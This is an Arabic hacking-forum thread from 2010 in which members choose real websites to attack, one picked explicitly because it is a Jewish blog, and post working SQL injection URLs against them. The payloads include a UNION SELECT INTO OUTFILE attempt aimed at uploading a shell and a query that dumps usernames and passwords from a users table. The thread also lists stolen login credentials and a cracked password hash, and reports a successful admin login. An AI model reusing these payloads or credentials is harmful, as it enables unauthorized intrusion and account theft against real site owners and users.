غرفة حقن قواعد البيانات {غرفة Sql }

Master vbspiders · 08-05-2010, 12:15 AM

اقتباس

المشاركة الأصلية كتبت بواسطة ooooo_darkman_ooooo


	Syst3m-32 هوما يحبو المخقون المنتهي ههههههههههههههههههههه يحبون قسم الإنجازات خخخخخخخخخخخخخخخخخخخخ مسااااااااااااااااااااااكين أنا راح أحط الهدف موقع يهودي إصدار قاعدته 4

[align=center]ههههههه
معاك حق فعلا هما يحبون الشي يجيهم جاهز وكامل...
ضع الهدف وتوكل وراح نترك الهدف لبكرا ممكن احد الاعضاء يشارك معانا ويحقنو
تحياتي^_^

[/align]

darkman.dz · 08-05-2010, 12:18 AM

هذا هو الهدف الجديد
blog يهودي
مع العلم أنني أريد خطوات الإختراق كل أمر قمت به و العقبات التي صادفتك

كود:

http://blog.soundcat.org/post.php?id=12

darkman.dz · 08-05-2010, 12:25 AM

Master vbspiders
صدقني ماراح يحقنو ولا واحد ولو تتركه أسبوع كامل

Master vbspiders · 08-05-2010, 12:48 AM

اقتباس

المشاركة الأصلية كتبت بواسطة ooooo_darkman_ooooo


	Master vbspiders صدقني ماراح يحقنو ولا واحد ولو تتركه أسبوع كامل

[align=center]ههههه فعلا والله وخصوصا هذا الموقع
لانو فيه تخمين
ننتظر لبكرا والله كريم
تحياتي[/align]

marrak · 08-05-2010, 12:56 AM

اليكم هذا الموقع
http://www.slatina-online.ro/adauga_...ue&categorie=5

darkman.dz · 08-05-2010, 12:59 AM

جاري أخ marrak

darkman.dz · 08-05-2010, 01:11 AM

اقتباس

المشاركة الأصلية كتبت بواسطة marrak


	اليكم هذا الموقع http://www.slatina-online.ro/adauga_...ue&categorie=5

الموقع ليس مصاب أخي
يرجى التأكد
و الله أعلم

d4rK-h4ck3r · 08-05-2010, 01:17 AM

شوف الموقع بثغرة into outfile تقدر ترفع شيل لازم مسار مصرح
http://www.talkeetnachamber.org/news...,7,8,9,10,11--
و يتيح الطباعة قمت بتكوين ملف في مجلد tmp

http://www.talkeetnachamber.org/news.php?id=158+AND+1=2+UNION+SELECT+1,2,3,'d4rk-h4ck3r',5,6,7,8,9,10,11+into+outfile"/tmp/d4rk.txt"

http://www.talkeetnachamber.org/news...,7,8,9,10,11--

لول تمت طباعة اسمي يعني يتيح الطباعة فقط ما زال معرفة مسارنا بالسيرفر اذا وجدناه اضمنلك شل مرفوع

darkman.dz · 08-05-2010, 01:49 AM

d4rK-h4ck3r
هههههههههههههههههههههه
مازال ماوصلتش لهاذ الدرجة من الإحتراف أخي الكريم
ههههههههههههههههههههههههههههههههههههههههههههههه

d4rK-h4ck3r · 08-05-2010, 02:00 AM

اخي هذه الفائدة من المشاركات مزيد التعلم و ان شاء الله تتقن مثل هذا النوع من الثغرات كما ان الاخوة من الجزائر سريعوا التعلم و هم النخبة في الاختراق اولهم الاسطورة his0k4 و ان شاء الله تتوصل لاختراقه
العبرة في المحاولة ;)

darkman.dz · 08-05-2010, 02:06 AM

تعم أخي العزيز
أول مرة أتعلم السيكول في 2 ساعات إخترفت موقع
ههههههههههههههههههههههه
اليوم فقط رجعت النت قوية
أرجو أن تتواصل هكذا لكي أعود إلى التعلم من جديد

d4rK-h4ck3r · 08-05-2010, 02:43 AM

ان شاء الله لما احسن و انا سارفعلك شرح عامله لاستغلال هذا النوع من الثغرات لكن اصبر علي شوي lol

m0h@med · 08-05-2010, 10:23 AM

اقتباس

المشاركة الأصلية كتبت بواسطة marrak


	اليكم هذا الموقع http://www.slatina-online.ro/adauga_...ue&categorie=5

Hi my brother marrak
there exist some account you can so use it
username:password
florintele:356746
giba:123
office:456
keepto.ro:12345

.
.
.

regards

m0h@med · 08-05-2010, 10:32 AM

اقتباس

المشاركة الأصلية كتبت بواسطة ooooo_darkman_ooooo


	الموقع ليس مصاب أخي يرجى التأكد و الله أعلم

السلام عليكم
حياك الله أخي الكريم
الموقع مصاب و يكفي تغيير السكريبت.
الاستغلال الكامل

كود:

http://www.slatina-online.ro/detalii_anunt.php?id_anunt=267&id_categ=3&id_subcateg=-22%20union%20select%201,2,concat_ws(0x3a,id,user,parola)+from+utilizatori--

هذا أول عدس لي في المنتدى ......تحياتي

Master vbspiders · 08-05-2010, 02:49 PM

[align=center]ممممم
بالنسبة للموقع الاول : http://blog.soundcat.org/post.php?id=12
ما قدرت اخمن الجداول للاسف...
واما الموقع الثاني تبع الاخ marrak فبالبداية كان تفكيري مثل الاخ ooooo_darkman_ooooo
يعني ما في خطا اصلا والموقع مش مصاب لكن بعدها فكرت اجرب بسكربت ثاني وعلى نفس الموقع
ونجحت والاخ m0h@med وضع الاستغلال قبلي وهذا هو :

كود PHP:

  http://www.slatina-online.ro/detalii_anunt.php?id_anunt=267&id_categ=3&id_subcateg=-22%20union%20select%201,2,concat_ws(0x3a,id,user,parola)+from+utilizatori--

وتم فك الهاش :c6efc361da2fbccf3f88936e54624bb8
والباس هو : 356746
ولوحة الدخول : http://www.slatina-online.ro/
هناك تسجيل دخول واضح بالصفحة الرئسية
تم الدخول بنجاح
بارك الله فيكم جميعا...
عمل منظم ورائع
تحياتي

[/align]

أدوات الموضوع
مشاهدة صفحة طباعة الموضوع أرسل هذا الموضوع إلى صديق
انواع عرض الموضوع
العرض العادي الانتقال إلى العرض المتطور الانتقال إلى العرض الشجري

المواضيع المتشابهه
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
العدد (3) من غرفة الحقن	darkman.dz	SQL قواعد البيانات	397	12-30-2010 01:23 PM
جهاز من غرفة جـنـسـيـة	MasTer MiND	Hackers Showoff	6	06-25-2009 04:01 PM

التواصل المباشر مع الادارة والاعضاء القدامى من خلال قناة التلغرام

غرفة حقن قواعد البيانات {غرفة Sql }

SQL قواعد البيانات